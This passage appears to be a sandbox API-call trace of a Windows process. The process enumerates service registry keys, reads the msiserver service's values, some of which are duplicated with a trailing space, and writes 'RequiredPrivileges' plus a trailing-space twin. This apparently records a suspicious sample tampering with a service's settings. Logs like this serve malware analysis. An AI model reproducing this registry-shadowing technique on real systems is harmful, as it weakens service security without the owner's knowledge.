| out: lpName="Fs_Rec") returned 0x0 [0251.113] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.114] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.115] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.116] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.117] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.118] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.119] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.120] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.120] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0251.120] RegCloseKey (hKey=0xc4) returned 0x0 [0251.120] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.120] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.120] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.121] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.121] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.121] RegCloseKey (hKey=0x148) returned 0x0 [0251.121] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.122] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.122] RegCloseKey (hKey=0xc4) returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.122] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.123] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.123] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.124] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.124] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.124] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0251.124] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.124] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.125] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0251.125] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0251.125] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0251.125] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0251.125] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0251.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0251.143] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0251.144] RegEnumValueA (in: hKey=0x14c, 